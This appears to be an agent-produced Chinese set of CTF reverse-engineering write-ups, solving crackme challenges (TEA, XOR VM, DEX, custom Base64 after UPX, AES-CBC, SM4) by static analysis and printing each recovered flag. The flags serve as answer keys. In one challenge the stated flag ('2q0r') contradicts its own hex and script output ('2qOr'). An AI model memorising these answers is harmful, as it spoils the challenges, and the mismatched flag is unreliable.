将 64 位十六进制字符串解析后，密文字节为：

```
a8 97 99 2e 43 bb ec 37 81 07 06 9c 95 1b b7 51
20 d6 35 3e 36 9e 0c ea 53 04 08 b6 fa 09 75 d2
```

按上述 32 轮 TEA 解密四块，得到 32 字节：

```
hex: 70 7a 77 71 6d 2f 73 21 20 73 23 21 74 3b 77 2f
      24 27 3b 22 75 74 75 3b 2e 6b 06 06 06 06 06 06
text: pzwqm/s! s#!t;w/$';"utu;.k + 六个 0x06
```

sub_102 取末字节 0x06，将 NUL 写到偏移 26，留下 26 字节：

```
pzwqm/s! s#!t;w/$';"utu;.k
```

之后对这 26 字节逐字节 XOR 0x16：

```
flag{9e76e57b-a921-4cbc-8}
```

验证时将 TEA 加密函数按正向轮序作用于解密出的四个块，并使用相同密钥、delta 和轮数；脚本检查重新生成的 32 字节与原始密文完全一致。这确认了块端序、密钥、轮数和 TEA 轮次方向。输出串长度为 26，末段只有一个字符 8；它虽不像常见 UUID 分组长度，但这是字节级按程序逻辑得到的结果，未擅自补字或改格式。

analysis/decrypt_static.py 只用 Python 标准库读取 ZIP/EXE：它核对归档成员与提取文件相同，读取 PE/COFF 符号和 .pdata 函数边界，从 main 指令中的 ASCII 十六进制立即数取密文、从机器码恢复密钥和 TEA 参数，然后完成解密、截断、XOR，并执行重新加密回验。它不会启动或加载 EXE。

在题目目录下运行：

```
python .\analysis\decrypt_static.py
```

输出保存在 `analysis/decrypt_static_output.txt`。相关例程反汇编和符号摘录分别保存在 `analysis/program_disassembly.txt`、`analysis/program_symbols.txt`。每条 PowerShell 命令及其完整输出、包括失败尝试与修正，都追加在 `analysis/commands_output.log`。

没有原始 C++ 源码，结论依据随 PE 保留的符号、机器码、常量和可逆计算。程序本身不输出解密串，因此无法声称“运行时曾看到它打印”；本分析也刻意没有运行或加载文件。

- 静态候选：flag{9e76e57b-a921-4cbc-8}

1.6 商丘师范学院第四届网络安全及信息对抗大赛往事暗沉不可追 (ID #535)

题目信息：玄机 ID #535；类型 REVERSE；难度中等。

零基础知识点：PyInstaller CArchive 可在不执行 EXE 的情况下解析。Python 字节码常量能揭示 XOR 等简单变换；每个字节的结果应能反向还原密文。

题面提示：“解密后的数据就是 flag，用逗号隔开。”附件为来日之路光明灿烂.zip。本地分析只对压缩包和其中 PE 文件作静态分析：未运行 EXE、DLL、PYD 或其它陌生二进制，也未联网搜索。

先记录原始归档及成员信息，避免分析过程混淆对象：

- ZIP SHA-256: 3D83F586009E705F48172F59148A536F919F17994959ED863782AA629D079365
- ZIP 长度: 5,290,473 bytes
- 唯一成员: 来日之路光明灿烂.exe
- 成员未压缩长度: 5,465,233 bytes; 压缩长度: 5,290,319 bytes
- 静态分析副本 SHA-256: 70E0194F1914D6872F2D991475A2967905AD92D3A8DD2EE0810330A153E43B19

命令 transcript 记录每一步本地命令和输出，位于 `analysis/command_transcript_20260929.txt`。

PE 头显示文件为 x64 PE32+，入口 RVA 为 0xC380，没有 Authenticode 签名。最后一个节之后有 5,131,921 bytes overlay，ASCII 字符串和 CArchive cookie 显示它是 PyInstaller one-file 包，而不是只需研究 PE 原生代码的普通程序。

CArchive cookie 给出 Python 版本字段 310 和 `python310.dll`。静态解包器依据 cookie 与 TOC 的偏移、压缩长度和解压长度，解压了全部 21 项，没有执行任何成员。主脚本成员为 0007_ 来日之路光明灿烂，解压后 1,771 bytes，SHA-256:

BDAEF0C93E7B31436CACFEF6BDA996372D3F48A70889BFFD88C7D39675C8A334

完整 TOC、每项哈希和状态见 `analysis/pyi_extracted/pyinstaller_toc.txt`。包中其余重要成员包括 `python310.dll`、`PYZ-00.pyz`、`base_library.zip` 和运行时组件；均只保留为数据。

本机 Python 为 3.12；直接将 Python 3.10 marshal 数据交给本机 `marshal.loads` 得到 “bad marshal

data (unknown type code)”。这是代码对象布局版本不一致，并非附件损坏。analysis/marshal310.py 按 Python 3.10 marshal 格式读取嵌套代码对象、常量、名称及字节码；它不导入或执行冻结脚本。

主模块常量中恢复出：

- VM 类：SimpleVM
- 字节码：LOAD, 0, 16, XOR, 0, 85, STORE, 0, 32, LOAD, 1, 32, XOR, 1, 170, STORE, 1, 48
- 密文数据：153, 147, 158, 152, 132, 200, 202, 203, 198, 154, 156, 156, 158, 210, 153, 130
- 数据长度：16

类方法和操作语义如下：

- 初始化 memory 为 256 个 0，registers 为 16 个 0。
- LOAD(reg, addr): registers[reg] = memory[addr]。
- STORE(reg, addr): memory[addr] = registers[reg]。
- XOR(reg, value): registers[reg] = registers[reg] XOR value。
- execute 按每 3 个值解释一条指令，直到字节码结束。

主脚本先把密文写到 memory[16:32]，再调用 VM。

嵌入指令中的两个 XOR 立即数是十进制 85 和 170，即 0x55 与 0xAA。二者合成：

$$0x55 \text{ XOR } 0xAA = 0xFF$$

因此将这条两阶段 XOR 链逐字节用于 16 个密文字节：

明文 [i] = 密文 [i] XOR 0x55 XOR 0xAA = 密文 [i] XOR 0xFF

密文（十进制）：

153,147,158,152,132,200,202,203,198,154,156,156,158,210,153,130

逐字节结果（十进制）：

102,108,97,103,123,55,53,52,57,101,99,99,97,45,102,125

按 ASCII 解码得到：

flag{7549ecca-f}

两种表达都保留为候选。按题面“用逗号隔开”的格式，候选是：

102,108,97,103,123,55,53,52,57,101,99,99,97,45,102,125

ASCII 展示 flag{7549ecca-f} 是相同字节的另一种表示。每字节与 0xFF 再异或可还原原密文，完成逆变换核对。

运行以下静态分析脚本可从冻结脚本 marshal 对象中自动读回字节码与数据，模拟实际 VM，并检查 XOR 链、逆变换和 ASCII 结果：

```
python analysis/decrypt_verify.py analysis/pyi_extracted/0007_ 来日之路光明灿烂
```

成功输出中包括解密字节列表、ASCII 文本和逗号十进制候选。完整 stdout/stderr 已记入 transcript。脚本源码与 PE/CArchive 提取物都留在 analysis/。

必须区分推导出的全数组候选与 EXE 的字面执行结果。VM 真实字节码只有 6 条指令：

1.LOAD 0, 16: 读取密文首字节 153。2.XOR 0, 85: 寄存器 0 变成 204 (0xCC)。3.STORE 0, 32: 将 204 写入 memory[32]。4.LOAD 1, 32: 把 204 读入寄存器 1。5.XOR 1, 170: 寄存器 1 变成 102 (0x66, 即 ASCII f)。6.STORE 1, 48: 将 102 写入 memory[48]。

它没有循环遍历 16 字节; 执行后原密文所在 memory[16:32] 不变, 只产生 memory[32]=204、memory[48]=102。随后主模块仅保存 get_memory() 的返回值, 没有输出或继续解密。因此严格解释程序时, 附件本身没有实际生成完整明文。全数组候选依据同一组明确 XOR 常数作用于嵌入的 16 字节密文, 并由完整的 flag{...} ASCII 形式和逆变换支持。ASCII 解码结果为 flag 文本; 逗号十进制序列是相同明文字节的逐字节展开表示。

1.7 商丘师范学院第四届网络安全及信息对抗大赛遇事不决, 可问春风 (ID #536)

题目信息: 玄机 ID #536; 类型 REVERSE; 难度中等。

零基础知识点: DEX 的 code unit 使用 Dalvik opcode 编码。识别正确 opcode 后再读寄存器和立即数, 逐字符 XOR 可直接复核明文。

最终 flag: flag{f8f06f2b-60ee-43ca-8e3a-1048042edddd}。本地 DEX opcode 名称表错误, 详见第 5 节。

输入附件为 originals/app-debug.zip。先计算原 ZIP 的 SHA256 并列归档条目:

```
SHA256(app-debug.zip) = A366F7C8B031940BC96016811BBD441A17B3473F8B9D288511E02CC63E6A1D59
ZIP contents           = app-debug.apk (4,609,869 bytes uncompressed; 4,418,898 compressed)
```

解出的 APK 为 4,609,869 bytes, SHA256 为 BA82DA14824377E2CCCB085B7A6871FAAB9C3B0CCB3E02EB555DBC8B92C1EFD7。没有安装或运行 APK。ZIP 与 APK 的检查结果及 APK 内全部条目见 analysis/command_transcript_20260929.txt 和 analysis/apk_contents_index.txt。

analysis/parse_axml.py 静态解析 APK 中的 binary XML。manifest 显示:

- package: com.example.wakurev
- minSdkVersion=21、targetSdkVersion=35
- launcher activity: com.example.wakurev.MainActivity

APK 有 classes.dex、classes2.dex、classes3.dex 三份 DEX。第三份只有 3,556 bytes, 定义了 com.example.wakurev.MainActivity 和回调包装类, 是题目代码所在处; 较大的 DEX 主要包含依赖库。classes3.dex SHA256 为 29DCC3110E4B13F6AB3C9B009EAD33362C1D324351CF6AD4BD0EE5BB87E24553。

设备上没有可用的 jadx、apktool、aapt 或 Java, 所以用 analysis/analyze_dex.py 读取 DEX 的 string/type/proto/method/class 表、class_data_item 与 code_item, 只反汇编应用自有类所需的指令。没有执行 DEX 或 APK。

先看 MainActivity.<clinit>(): 它把一个字符串放进 ENCRYPTED_PARTS:

```
$z$rt$p otr''ovq!#oz'q#osrvzrvp'&&&&
```

getText() 循环拼接 ENCRYPTED_PARTS。这里数组只有一个元素，因此拼接结果就是上述密文。

然后看 decryptPassword()。关键指令顺序为：

```
String.toCharArray()
array-length
循环读取 char
xor-int/lit8 v6, v5, #66
int-to-char v6, v6
StringBuilder.append(C)
```

DEX Dalvik opcode 映射中，0xde 才是 or-int/lit8，0xdf 是 xor-int/lit8。反汇编的 code unit 为 06df 4205：首单元低 8 位 0xdf，下一单元高 8 位 0x42 是立即数 66。因此实际变换是每个 UTF-16 字符与 0x42 按位 XOR：

```
password = ''.join(chr(ord(ch) ^ 0x42) for ch in ciphertext)
```

静态字段值表显示 XOR_KEY=66、FLAG_PREFIX="REFLAG"、FLAG_SUFFIX="}”。校验方法中的 0xdf 与 key 66 相符；buildFlag() 的字节码直接使用硬编码的 flag{ 与 }，并未通过 FLAG_PREFIX 取前缀。

analysis/recover_candidate.py 从 classes3.dex 读取密文和 decryptPassword() 里的 XOR 立即数，检查 checkPassword() 调用解密后以输入字符串执行 equals，再从 buildFlag() 读取前后缀。逐字符 XOR 计算得到 36 字符、UUID 形态的密码：

```
f8f06f2b-60ee-43ca-8e3a-1048042edddd
```

checkPassword() 的比较关系为 userInput.equals(decryptPassword())。成功分支调用 buildFlag(userInput)，其实现拼接 flag{ + 输入 + }，所以候选为：

```
flag{f8f06f2b-60ee-43ca-8e3a-1048042edddd}
```

从题目目录运行复现脚本：

```
python analysis/recover_candidate.py analysis/dex_static/classes3.dex
```

脚本会打印密文、实际 opcode 立即数、密码、完整 flag 和每个字符的 Unicode 码点对应关系；输出保存在 analysis/recovery_report.txt。核心校验是 DEX 中确实存在 xor-int/lit8 立即数 66、后续 int-to-char，且输入字符串在校验分支中作为 equals 的接收者。

- 已通过本地静态证据重建校验与 flag 生成链，并由修正后的复现脚本验证 XOR 字符变换和字符串拼接。第一版曾误将 0xdf 解作 OR；这是解析器 opcode 表错误，已修复。复核 0xdf 的定义为 xor-int/lit8 后，从同一附件重算为 flag{f8f06f2b-60ee-43ca-8e3a-1048042edddd}。
- 对 APK 863 项做过目标标记扫描：无 assets/、lib/、res/raw/ payload；校验常量集中在 classes3.dex。目前没有发现支持其他包装或不同输入的本地证据。
- 未安装或运行 APK；没有 Android runtime 行为验证。
- 未联网搜索或参考公开 writeup；分析脚本只覆盖本题所需的 DEX 和 manifest 结构，不是通用 APK 反编译器；静态分析没有安装或运行 APK。

1.8 湘岚杯 ezbase (ID #537)

题目信息：玄机 ID #537；类型 REVERSE；难度中等。

零基础知识点：自定义 Base64 的关键是替换字母表和变换顺序。先撤销位置交换，再用自定义表解码，最后逆 XOR；正向重编码必须逐字节相等。

最终 flag：

```
flag{2q0rxQfRmDEdSkGt2mFoyilZQFU4BQDxBsuc}
```

候选由附件验证逻辑唯一逆变换得到，并通过本地正向重编码与二进制中 56 字节比较目标完全相等；分析没有运行未知 EXE，也没有连接靶机。

- 题目附件：originals\ezbase.zip，30016 bytes，SHA256 24E646D8337FE6284DDAACEFB05D3AC EAFA01EAE746CF1CBB872046F3A9EBECB。
- ZIP 内唯一成员：ezbase.exe，40719 bytes。解压副本在 analysis\ezbase.exe，SHA256 AEE861E105AFD0DDA6DDBACD27865FAFDC91E2FA225105920DB88DB38A30CAA0。
- 识别为 PE32 / i386 / Windows CUI，MinGW C++ 构建。分析只使用 PE 头解析、静态字符串、objdump 和 UPX 静态解包，不执行样本。
- 所有命令和工具输出逐次保存在 analysis\537_static_analysis_transcript.txt；反汇编/节表/符号/字符串的完整导出也保存在 analysis。

文件头以 MZ 开始，objdump -x 识别为 pei-i386、PE32、ImageBase 0x00400000。原始节名为 PXU0、PXU1、UXP2，字符串中有 UPX!，入口点为 0x0041d430。入口反汇编呈现 UPX NRV 风格的位流解压过程：源数据从 0x417015 读取，目标缓冲起自 0x401000，解压/导入修复结束后跳至原程序入口 0x4012d0。

直接对原件执行 UPX -t 与 -d 均返回：

```
CantUnpackException: file is modified/hacked/protected; take care!!!
```

这是一个失败假设：起初只知道附件是 UPX 变体，尚未知道失败原因。静态 PE 解析显示各节名是反写/扰动形式 PXU0/PXU1/UXP2。只在分析副本 ezbase_names_restored.exe 中把三处节名恢复为 UPX0/UPX1/UPX2，原附件和 analysis\ezbase.exe 保持不变。副本 SHA256 为 980511BD89790CB490E1E833D2452130C27725C250D121C459F8D80D88C6E516。此后 UPX -l 正确报告 82703 -> 40719，-t 返回 [OK]，-d 成功生成解包副本。

- 解包后的静态文件：analysis\ezbase_unpacked.exe，82703 bytes。
- SHA256：C1A01D1D1C1AA849DA7EDACC239853A4CF9FB3E846C6D6D9915EF460DD95913F。
- 修复脚本：analysis\restore_upx_section_names.py。

注意：这里的 UPX -t 是文件完整性测试，-d 是静态解压；没有启动目标程序。

在解包文件的完整反汇编 analysis\ezbase_unpacked_disassembly_full.txt 中，_main 位于 0x4015d7，Base64 编码函数位于 0x401410。有关逻辑如下：

1. 用格式串 `%42s` 读取输入 (`0x4016c2`、`0x4016ca`); `strlen` 必须等于 `0x2a`, 即 42 字节, 否则打印失败信息并退出 (`0x4016dd`–`0x4016f8`)。2. 对 42 个输入字节逐一执行 `XOR 0x10` (`0x401705`–`0x40173c`)。3. 调用自定义 Base64 编码器 `base64_encode` (`0x401789`)。查表地址 `0x406060`, 实际 64 字节字母表为:

```
Fvm/RkQucZNVyYABpS2w6enjdtGP08UalxrbD45Ci07MT9KLEJo1h3zHgFX+WqsI
```

该表恰有 64 个互不重复的字节。不能用标准 Base64 字母表替代。4. 编码结果第 `0x0c` 与第 `0x12` 个字节互换 (分别在 `0x401792`–`0x40179a` 和 `0x40179e`–`0x4017b7`)。5. 将结果与栈上构造的比较串做 `memcmp`。14 条 `mov [esp+offset], imm32` 指令按小端序拼出 56 字节目标; 终止 NUL 位于偏移 `0x76`。比较相等走成功分支 `0x4017e1`, 不等则走失败分支 `0x4017ef`。

因此验证关系为:

```
T = Swap( CustomBase64( P XOR 0x10 ), indexes 12 and 18 )
```

其中 P 是 42 字节输入, T 是栈上 56 字节目标。

由主函数十四条立即数存储按小端序还原出的片段依次为:

```
8CJJ | 8zTr | deqr | 3Rkz | pCG6 | ejS/ | U38D | cC3n
az4f | aR0v | eD6D | 6Dk6 | GkZb | tjY9
```

拼接得到长度 56 的目标:

```
8CJJ8zTrdeqr3RkzpCG6ejS/U38DcC3naz4faR0veD6D6Dk6GkZbtjY9
```

先交换目标串的索引 12 与 18, 撤销程序编码后的置换, 得到:

```
8CJJ8zTrdeqrGRkzpc36ejS/U38DcC3naz4faR0veD6D6Dk6GkZbtjY9
```

使用自定义表建立 字符 -> 6-bit 值映射, 逐四字符解码为 42 字节。解码后、撤销 XOR 前的十六进制为:

```
767c71776b22615f62684176427d545574437b5764227d567f69797c4a4156452452415468526365736d
```

每个字节再 XOR `0x10`, 得到:

```
666c61677b32714f72785166526d444564536b4774326d466f79696c5a5146553442514478427375637d
```

按 ASCII 解码即:

```
flag{2q0rxQfRmDEdSkGt2mFoyilZQFU4BQDxBsuc}
```

可复现脚本 `analysis\solve_537_from_static.py` 从解包副本重新读取 PE 节表、提取 `0x406060` 处恰好 64 字节的字母表, 并从 `_main` 的 14 条立即数存储自动重建比较目标。脚本执行以下验证:

1. 逆向自定义 Base64; 2. XOR `0x10` 得到候选; 3. 将候选逐字节 XOR `0x10` 后重新编码; 4. 再交换编码结果索引 12 与 18; 5. 与自动提取的 56 字节目标逐字节比较。

输出关键行:

```
target_encoded=8CJJ8zTrdeqr3RkzpCG6ejS/U38DcC3naz4faR0veD6D6Dk6GkZbtjY9 length=56
plaintext_ascii=flag{2qOrxQfRmDEdSkGt2mFoyilZQFU4BQDxBsuc}
forward_reencode_match=True
```

脚本用 `assert` 强制检查字母表长度及唯一性、目标立即数数量、相邻提示区内容与最终正向重编码相等；断言通过才输出候选。

- **直接 UPX 解包：失败。**原件节名被改动导致 UPX 拒绝识别；恢复分析副本的节名后，`upx -t` 与解包成功。原件未更改。
- **把字母表当成 NUL 结尾字符串：失败。**第一版脚本从 `0x406060` 扫描到 NUL，误把紧邻的提示字符串也算入，得到 76 字节并触发 `len==64` 断言。主函数的索引只在 `0..63`，且主函数提示串使用地址 `0x4060a0`，恰比表首 `0x406060` 高 `0x40`；所以应按固定 64 字节截取。修正后断言通过。
- **把提示文案起点理解为 Find me!：修正。**表后字节实际从 `You Find me!` 开始，提示串地址正好指向这个 `You` 前缀。该文案不参与编码；此观察只用来核验数组边界。
- **没有进行包装格式、标准 Base64 或其他 flag 包装猜测。**算法与目标串一致，正向复核严格相等，所以候选有直接静态证据。

完整逐条命令及终端输出见 `analysis\537_static_analysis_transcript.txt`。其中也如实记录了以上失败和修正。主要命令类别：

```
Get-FileHash / Format-Hex / ZIP 成员列表
strings -a -n 3
objdump -h / objdump -x / objdump -d -Intel
python restore_upx_section_names.py
upx -l / upx -t / upx -d
python solve_537_from_static.py
```

完整证据文件：

- `analysis\ezbase_unpacked_headers_symbols_full.txt`
- `analysis\ezbase_unpacked_disassembly_full.txt`
- `analysis\ezbase_unpacked_strings_full.txt`
- `analysis\537_base64_main_disassembly.txt`
- `analysis\restore_upx_section_names.py`
- `analysis\solve_537_from_static.py`
- `analysis\537_static_analysis_transcript.txt`

1.9 湘岚杯 cryptor (ID #539)

题目信息：玄机 ID #539；类型 REVERSE；难度中等。

零基础知识点：Cython 扩展会把 Python 校验逻辑编译进本机模块。静态字符串、常量和调用参数可还原 AES-CBC；零填充与 PKCS#7 是不同规则。

它提供了本地复核的候选和 WP。

- 附件原件: originals/cryptor.zip
- ZIP 大小: 42,592 字节
- ZIP SHA-256: EF999BBF17CD64D9962C2FDC040D6258396FBC594227325404FC729A766D781E
- 成员: main.py、cryptor.cp310-win_amd64.pyd
- 提取后的.pyd 大小: 106,496 字节
- 提取后的.pyd SHA-256: DBA7201DD55FDE2C9929EAF50FF85DFC0431CA7F04BDE67B3C95A4EDF16C07F7

原始 ZIP 保留在 originals/; 分析副本在 analysis/extracted/。没有导入或执行附件里的.pyd。该文件是 x64 Windows CPython 3.10 扩展, 当前解释器为 Python 3.12, 因此直接运行扩展既不必要也不合适。

main.py 的内容只有:

```
import cryptor

flag = input("Plz Input Your flag:")
cryptor.check(flag)
```

这说明输入的 flag 由二进制扩展中的 cryptor.check 判断。破解重点是静态分析扩展中的常量与算法, 而不是入口脚本本身。

用 PE 工具检查时, 文件识别为 pei-x86-64, 导出入口为 PyInit_cryptor, 依赖 python310.dll。可见 Cython 运行时标识 _cython_3_0_10。扩展字符串包括:

- cryptor.check
- AES.MODE_CBC, AES.MODE_ECB
- ZeroPadding、__ZeroPadding、__StripZeroPadding
- Success!、Wrong!
- Base64 密文: WegWMtim1YwucYelL2g+DU2x/B/VsQrFz2pNMJy95rE=
- IV 候选: 1145140A01919810
- Key 候选: EzCrypt0ofPython

上述关键字符串由 strings.exe -t x -n 5 找到, 偏移是文件偏移:

文件偏移	字符串	用途判断
0x15bf4	AES.MODE_CBC, AES.MODE_ECB	扩展支持的 AES 模式提示
0x161cc	ZeroPadding	扩展支持零填充
0x16308	Success!	成功分支文案
0x16430	Base64 密文	待解密数据
0x16590	1145140A01919810	16 字节 IV

文件偏移	字符串	用途判断
0x166c8	EzCrypt0ofPython	16 字节 AES-128 key

密钥和 IV 按 ASCII/UTF-8 字节使用；尤其 IV 是 16 个 ASCII 字符，不是把十六进制文本解码成 8 字节。

1.Base64 解码密文，得到 32 字节，即两个 AES 分组。2. 两个候选文本各为 16 字节，分别符合 AES-128 key 与 AES-CBC IV 的长度。3. 先验证常见组合。ECB 或 PKCS#7 去填充没有产生有效明文；CBC 的 PKCS#7 会报 Padding is invalid and cannot be removed。4. 扩展中出现零填充/零去填充函数。使用 AES-CBC 解密且关闭库自动填充后，明文是可读的 flag，后接 5 个 00 字节。5. 去掉尾部的零填充后得到候选 flag。Python cryptography 和 OpenSSL 两个独立实现输出的 32 字节明文完全相同；脚本中也用断言验证了零填充长度和 flag 的大括号格式。

静态推导参数：

- 算法：AES-128-CBC
- Key (16 字节)：EzCrypt0ofPython
- IV (16 字节)：1145140A01919810
- 密文 (Base64)：WegWMtim1YwucYelL2g+DU2x/B/VsQrFz2pNMJy95rE=
- 解密时：关闭标准自动填充；随后按题目扩展暴露的 ZeroPadding 语义移除末尾 NUL。

analysis/verify_independent.py 分别调用 Python cryptography 与 OpenSSL，不加载.pyd。核心输出：

```
cryptography ciphertext bytes: 32
cryptography raw plaintext hex: 666c61677b417459705842683338664e766331796d735137764c7d0000000000
cryptography raw plaintext repr: b'flag{AtYpXBh38fNvc1ymsQ7vL}\x00\x00\x00\x00\x00'
cryptography stripped flag: flag{AtYpXBh38fNvc1ymsQ7vL}
cryptography padding suffix: 5 NUL bytes
OpenSSL raw plaintext hex: 666c61677b417459705842683338664e766331796d735137764c7d0000000000
OpenSSL raw plaintext repr: b'flag{AtYpXBh38fNvc1ymsQ7vL}\x00\x00\x00\x00\x00'
Independent implementations agree: True
```

已由玄机最终 flag：

```
flag{AtYpXBh38fNvc1ymsQ7vL}
```

题目可标记为已解决；主线程负责更新全局指南。

以下命令在项目 PowerShell 环境中执行。详细逐次记录（含错误尝试及原始输出）见 analysis/command_transcript_20260929.txt。

```
$root = 'C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\题目分类\逆向工程\cryptor_539'
Get-FileHash -Algorithm SHA256 -LiteralPath "$root\originals\cryptor.zip"
tar.exe -tf "$root\originals\cryptor.zip"
```

```
Expand-Archive -LiteralPath "$root\originals\cryptor.zip" -DestinationPath "$root\analysis\extracted"
↪ -Force
strings.exe -t x -n 5 "$root\analysis\extracted\cryptor.cp310-win_amd64.pyd"
python "$root\analysis\verify_independent.py"
```

说明：直接把带中文的完整目录传给 MSYS2 objdump.exe 时曾遇到路径编码错误。之后用临时 Z: 映射到 analysis/extracted 后检查成功；映射在命令结束时移除。完整输出和错误都在命令记录中。

- cryptor 不是当前 Python 环境中可用的普通 Python 源码模块，真正校验逻辑在 CPython 3.10 .pyd 中。
- 初试 Crypto.Cipher 失败：当前环境没有 PyCryptodome (ModuleNotFoundError: No module named 'Crypto')。未安装依赖，改用已有的.NET、cryptography 和 OpenSSL。
- 初试 CBC/ECB + PKCS#7 均失败。记录该失败是为了说明填充模式判断过程；本题使用的线索指向 ZeroPadding。
- 最初的 Windows PowerShell 5.1 试算脚本使用了较新.NET 才有的 Convert.ToHexString，在本机不可用；随后改用 [BitConverter]::ToString 并完成变体对比。
- 带中文全路径的首次 objdump 调用因 MSYS2 路径编码失败；使用临时盘符别名后成功读取 PE 信息。
- 本地解密证明候选与附件静态密文匹配；

1.10 湘岚杯 maybesignin (ID #540)

题目信息：玄机 ID #540；类型 REVERSE；难度中等。

零基础知识点：SM4 是 128 位分组密码。汇编中的 32 位立即数常按小端存储；先还原真实字节序，再用独立实现解密和复加密验证。

- 附件：附件/MaybeSignin_platform_20260929.zip，内含 ezsignin.exe。候选 flag{wlasclJDAFS} 经本地两种实现复核；

先核对压缩包 SHA-256：

```
79D0749B152E8A886AF6911CAEF49730CCC29067D66BF30739B89D2EAE13F8A2
```

tar.exe -tf 确认归档只有一个成员 ezsignin.exe。解压到 analysis/unpacked/ 后得到 12,800 字节的 PE32+ x86-64 控制台程序，SHA-256 为：

```
DA87C9A85AB1E99370891AEBC6494A97B4AA1BB6694AF415DC455D68F5E18AE5
```

原始 ZIP 保存在 originals/。本次只静态分析 PE 头、字符串、常量和反汇编，没有启动该可执行文件。

ASCII 字符串中能看到：

```
plz input your flag:
success
pause
```

PE 导入包含 CRT 的格式化输入输出、`malloc/free` 和 `system`，但没有外部密码学 DLL。PE 是 Visual Studio x64 控制台构建。字符串本身没有泄露明文 flag，因此继续查看比较函数和数据区。

检查函数从 `0x140001560` 开始。它在 `0x14000158F` 附近调用打印函数，参数指向 `0x140003270` 的提示字符串；随后在 `0x1400015F5` 调用输入函数，格式串位于 `0x140003288`，内容是 `%s`。输入放入栈上的缓冲区。

函数在 `0x1400015B4` 到 `0x1400015E9` 写入一组常数，前四个 dword 按 x86-64 小端序在内存中的字节为：

指令中的 dword	内存字节
0x51BE841C	1C 84 BE 51
0xF31ACE45	45 CE 1A F3
0x5EF7A31F	1F A3 F7 5E
0xBED0383A	3A 38 D0 BE

因此比较所用的首个 16 字节目标块是：

```
1C84BE5145CE1AF31FA3F75E3A38D0BE
```

虽然后面还有四个 dword 常量，循环在 `0x140001620` 至 `0x140001632` 明确只检查 16 个字节 (`cmp al, 0x10`)。成功分支打印 `success`，之后调用 `system("pause")`；不匹配则退出。题目要解的是一个 16 字节块的明文。

反汇编中的变换函数位于 `0x1400010E0`。它先按大端序将 16 字节 key 组成四个 32 位字，再进行 32 轮展开与数据变换。继续查看 `.rdata` 可确认：

- RVA `0x32A0` 是标准 256 字节 SM4 S-box，首 16 字节为 D6 90 E9 FE CC E1 3D B7 16 B6 14 C 2 28 FB 2C 05。
- RVA `0x33A0` 的字节对应标准 SM4 FK（以 32 位大端字解释）：A3B1BAC6 56AA3350 677D9197 B 27022DC。
- RVA `0x33B0` 起的序列是标准 SM4 CK。
- 汇编中 key schedule 的线性层使用 `rol 13` 与 `rol 23`；数据轮使用 SM4 的 `rol 2/10/18/24` 线性层。

据此可将程序的 16 字节变换还原为标准 SM4 单块变换。比较的是 ECB 单块输出；题目没有再套一层编码或填充。

函数将以下四个立即数写入相邻的栈位置：

```
mov dword ptr [rbp-0x9], 0x04030201
```

```
mov dword ptr [rbp-0x5], 0x08070605
mov dword ptr [rbp-0x1], 0x12111009
mov dword ptr [rbp+0x3], 0x16151413
```

由于小端存储，逐 dword 展开后 key 字节是：

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16

这里的 10 至 16 是十六进制字节值，不是十进制十至十六。最终 key hex：

01020304050607080910111213141516

以标准 SM4 逆序 round keys 解密目标首块，得到：

目标密文：1C84BE5145CE1AF31FA3F75E3A38D0BE
 明文 hex：666C61677B776C6173634A444146537D
 明文 ASCII：flag{wlasclJDAFS}

analysis/solve_sm4.py 从 PE .rdata 读取 S-box，按标准 FK/CK 和轮函数实现 SM4；将候选正向加密回去，结果逐字节等于目标块。随后又用 OpenSSL 3.5.2 的 SM4-ECB 独立解密同一密文，得到相同 16 字节明文：

666C61677B776C6173634A444146537D
 flag{wlasclJDAFS}

两种本地验证分别记录在 analysis/command_transcript_20260929.txt。复现脚本读取已解压的样本数据，不会执行 ezsignin.exe。

第一次把注释式字节序列 01 02 ... 16 误当成连续的十六进制数 01 02 ... 0F 10 11 ... 16，也就是错误地把 key 设成 0102030405060708090A0B0C0D0E0F10111213141516。解出的数据不可打印。尽管错误 key 的 Python 实现仍能自洽地重加密回目标，这只能证明程序内部实现前后一致，不能证明 key 抄对了。

随后回到四个 mov dword 立即数，按小端序逐项还原成实际内存字节。修正后的 key 仅为 16 字节 01020304050607080910111213141516；解密得到规范 flag 格式的 16 字节 ASCII，并通过 OpenSSL 独立复核。

flag{wlasclJDAFS}

它与本地 SM4 重加密及 OpenSSL 解密结果相互独立。

- 原始附件副本：附件/MaybeSignin_platform_20260929.zip
- 解压样本：附件解包/ezsignin.exe（仅静态读取）
- PE 结构：analysis/pe_headers_full.txt
- 反汇编：analysis/disasm_140001000_140001800.txt
- 常量区：analysis/rdata_3260_3480.txt

- 字符串: `analysis/strings_ascii.txt`、`analysis/strings_wide.txt`
- Python 复核: `analysis/solve_sm4.py`
- OpenSSL 输入/输出: `analysis/cipher_block.bin`、`analysis/openssl_plaintext.bin`
- 命令和输出记录: `analysis/command_transcript_20260929.txt`

1.11 第二届 Parloo 杯 RE PaluFlat (ID #547)

题目信息: 玄机 ID #547; 类型 REVERSE; 难度中等。

零基础知识点: 状态机校验要同时恢复状态转移和每步字节变换。找到可逆表达式后, 重放正向状态机; 字符串长度检查可能受 NUL 字节影响。

- 玄机 ID: 547
- 页面状态: 免费、中等;
- 原始附件: `originals/PaluFlat_flag.zip`
- 解压后外层成员: `analysis/extracted/PaluFlat_flag.com`
- 内层 7z 成员: `analysis/extracted/PaluFlat.exe`
- 静态变换恢复出的 flag 候选: `flag{bdm23Ne6ljz5O}`
- 本地验证: 按 PE 内实际控制流得到的 19 字节输入, 经正向变换后逐字节等于程序内的 19 字节目标常量。

本题的.com 附件不是可直接执行的 DOS 程序, 而是一个 7z 归档; 归档中又包含一个 1 GiB 的 x64 PE。PE 文件在 0x4800 之后有 1 GiB 左右的全零 overlay。有效的 PE 节区都位于文件开头, 实际变换函数使用被控制流平坦化混淆的 switch 状态机。静态化简后, 每个输入字节按顺序执行 XOR、半字节交换、减 0x55、按位取反。

分析只读取归档与二进制数据, 没有运行.com 或.exe。

- `originals/PaluFlat_flag.zip` 大小: 9,644 字节
- SHA-256: 5CA642495D769B3A02FCB73B3F2F20281A4AE4001938B0F282736332C72409D7
- ZIP 内唯一成员: `PaluFlat_flag.com`
- 解压大小: 164,561 字节
- CRC32: 2ACE2719
- Python `zipfile.testzip()` 结果: None, 未发现 CRC 错误

`PaluFlat_flag.com` 的开头为 7z 魔数 37 7A BC AF 27 1C。使用系统 tar 只列出目录、确认成员名后, 发现归档仅含平面成员 `PaluFlat.exe`; 未发现路径穿越成员。随后才把该成员解到 `analysis/extracted`。

